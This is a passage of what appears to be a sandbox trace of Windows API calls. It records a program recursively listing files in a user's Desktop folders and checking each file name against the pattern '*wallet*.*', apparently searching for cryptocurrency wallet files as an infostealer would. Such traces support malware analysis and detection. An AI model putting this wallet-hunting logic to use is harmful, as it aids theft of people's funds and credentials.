[0099.584] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112780 [0099.584] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aad20 | out: hHeap=0x2110000) returned 1 [0099.584] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.584] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430de0 [0099.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430de0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.584] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.584] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430de0 | out: hHeap=0x2110000) returned 1 [0099.584] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*wallet*.*") returned 0 [0099.585] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.585] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0099.585] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FfCPM", cAlternateFileName="")) returned 1 [0099.585] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.585] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.585] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.585] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.585] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.585] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.585] lstrcmpW (lpString1="FfCPM", lpString2=".") returned 1 [0099.585] lstrcmpW (lpString1="FfCPM", lpString2="..") returned 1 [0099.585] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.585] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*" [0099.585] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1698 [0099.585] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.585] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.585] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\." [0099.585] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.585] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.585] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="." | out: lpString1="\\km0vcCJ\\FfCPM\\.") returned="\\km0vcCJ\\FfCPM\\." [0099.585] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.585] FindNextFileW (in: hFindFile=0x6d1698, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.586] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.586] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.586] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\.." [0099.586] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.586] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.586] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2=".." | out: lpString1="\\km0vcCJ\\FfCPM\\..") returned="\\km0vcCJ\\FfCPM\\.." [0099.586] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.586] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.586] FindNextFileW (in: hFindFile=0x6d1698, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1aefaf0, ftCreationTime.dwHighDateTime=0x1d7a69d, ftLastAccessTime.dwLowDateTime=0x67e6a640, ftLastAccessTime.dwHighDateTime=0x1d7a853, ftLastWriteTime.dwLowDateTime=0x67e6a640, ftLastWriteTime.dwHighDateTime=0x1d7a853, nFileSizeHigh=0x0, nFileSizeLow=0xec1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv-6RbWd7Y0DsEw.m4a", cAlternateFileName="BV-6RB~1.M4A")) returned 1 [0099.586] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.586] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.586] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="Bv-6RbWd7Y0DsEw.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a" [0099.586] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.586] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.586] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="Bv-6RbWd7Y0DsEw.m4a" | out: lpString1="\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a") returned="\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a" [0099.586] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.586] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x34300d0 [0099.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x34300d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", lpUsedDefaultChar=0x0) returned 65 [0099.586] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa3a8 [0099.586] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.586] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.586] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ec0 [0099.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3430ec0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.586] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.587] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ec0 | out: hHeap=0x2110000) returned 1 [0099.587] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*wallet*.*") returned 0 [0099.587] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.587] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa3a8 | out: hHeap=0x2110000) returned 1 [0099.587] FindNextFileW (in: hFindFile=0x6d1698, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19731fb0, ftCreationTime.dwHighDateTime=0x1d7b001, ftLastAccessTime.dwLowDateTime=0x1b75f5c0, ftLastAccessTime.dwHighDateTime=0x1d7b01b, ftLastWriteTime.dwLowDateTime=0x1b75f5c0, ftLastWriteTime.dwHighDateTime=0x1d7b01b, nFileSizeHigh=0x0, nFileSizeLow=0xbb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dBJ6cQr3Mn6cOVMZ_15.mkv", cAlternateFileName="DBJ6CQ~1.MKV")) returned 1 [0099.587] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.587] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.587] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="dBJ6cQr3Mn6cOVMZ_15.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv" [0099.587] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.587] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.587] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="dBJ6cQr3Mn6cOVMZ_15.mkv" | out: lpString1="\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv") returned="\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv" [0099.587] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0099.587] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x45) returned 0x33ab518 [0099.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x33ab518, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", lpUsedDefaultChar=0x0) returned 69 [0099.587] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa350 [0099.587] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab518 | out: hHeap=0x2110000) returned 1 [0099.587] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.587] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430da0 [0099.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3430da0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.587] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.587] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430da0 | out: hHeap=0x2110000) returned 1 [0099.587] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*wallet*.*") returned 0 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa350 | out: hHeap=0x2110000) returned 1 [0099.588] FindNextFileW (in: hFindFile=0x6d1698, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb87e60, ftCreationTime.dwHighDateTime=0x1d7a587, ftLastAccessTime.dwLowDateTime=0x2bf8b90, ftLastAccessTime.dwHighDateTime=0x1d7abca, ftLastWriteTime.dwLowDateTime=0x2bf8b90, ftLastWriteTime.dwHighDateTime=0x1d7abca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTOhWvt8XHWdX2Jb-Y9j.avi", cAlternateFileName="OTOHWV~1.AVI")) returned 1 [0099.588] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.588] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.588] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="OTOhWvt8XHWdX2Jb-Y9j.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi" [0099.588] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.588] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.588] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="OTOhWvt8XHWdX2Jb-Y9j.avi" | out: lpString1="\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi") returned="\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi" [0099.588] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.588] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x33ab7e8 [0099.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x33ab7e8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", lpUsedDefaultChar=0x0) returned 70 [0099.588] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa198 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab7e8 | out: hHeap=0x2110000) returned 1 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.588] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d40 [0099.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3430d40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.588] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0099.588] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*wallet*.*") returned 0 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.588] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa198 | out: hHeap=0x2110000) returned 1 [0099.589] FindNextFileW (in: hFindFile=0x6d1698, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 1 [0099.589] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.589] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.589] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="RlIHjPIHGxNLKdZtxgXD.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv" [0099.589] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.589] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.589] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="RlIHjPIHGxNLKdZtxgXD.mkv" | out: lpString1="\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv") returned="\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv" [0099.589] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.589] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x33ab658 [0099.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x33ab658, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", lpUsedDefaultChar=0x0) returned 70 [0099.589] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa718 [0099.589] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab658 | out: hHeap=0x2110000) returned 1 [0099.589] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 